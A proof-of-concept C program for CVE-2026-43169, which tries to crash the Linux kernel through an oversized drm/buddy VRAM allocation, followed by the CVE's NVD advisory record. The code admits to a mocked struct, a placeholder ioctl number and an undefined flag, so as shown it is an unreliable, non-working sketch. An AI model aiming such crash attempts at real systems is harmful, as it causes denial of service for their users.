CVE-2026-43169

/* * PoC for CVE-2026-43169 * This code attempts to trigger the vulnerability by requesting a memory allocation * that, when rounded up, exceeds the available VRAM size. * Note: This requires a system with a GPU driver using the drm/buddy allocator. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> // Mocking the structure for demonstration purposes struct drm_buddy_alloc { __u64 size; __u64 flags; // ... other fields }; #define DRM_IOCTL_BUDDY_ALLOC 0x00 // Placeholder for actual ioctl code int main() { int fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } struct drm_buddy_alloc alloc; // Scenario: Request 9G on a 10G VRAM with CONTIGUOUS flag // roundup_pow_of_two(9GB) = 16GB > 10GB -> Trigger BUG_ON alloc.size = 9 * 1024 * 1024 * 1024ULL; alloc.flags = DRM_BUDDY_CONTIGUOUS_ALLOCATION; // Hypothetical flag value if (ioctl(fd, DRM_IOCTL_BUDDY_ALLOC, &alloc) != 0) { perror("Ioctl failed"); } else { printf("Allocation succeeded (vulnerability likely patched or conditions not met)\n"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-43169", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:35.197", "lastModified": "2026-05-13T14:51:48.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/buddy: Prevent BUG_ON by validating rounded allocation\n\nWhen DRM_BUDDY_CONTIGUOUS_ALLOCATION is set, the requested size is\nrounded up to the next power-of-two via roundup_pow_of_two().\nSimilarly, for non-contiguous allocations with large min_block_size,\nthe size is aligned up via round_up(). Both operations can produce a\nrounded size that exceeds mm->size, which later triggers\nBUG_ON(order > mm->max_order).\n\nExample scenarios:\n- 9G CONTIGUOUS allocation on 10G VRAM memory:\n roundup_pow_of_two(9G) = 16G > 10G\n- 9G allocation with 8G min_block_size on 10G VRAM memory:\n round_up(9G, 8G) = 16G > 10G\n\nFix this by checking the rounded size against mm->size. For\nnon-contiguous or range allocations where size > mm->size is invalid,\nreturn -EINVAL immediately. For contiguous allocations without range\nrestrictions, allow the request to fall through to the existing\n__alloc_contig_try_harder() fallback.\n\nThis ensures invalid user input returns an error or uses the fallback\npath instead of hitting BUG_ON.\n\nv2: (Matt A)\n- Add Fixes, Cc stable, and Closes tags for context"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5488a29596cdba93a60a79398dc9b69d5bdadf92", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6236c1cd9fdf433d39ed28b2491ccdfe7ae95061", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d764b8dd420098a4d253b8a5b27568c897edb2cf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ecb32c60d8cbed2ee9ce9f343b6aa2f32babc727", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}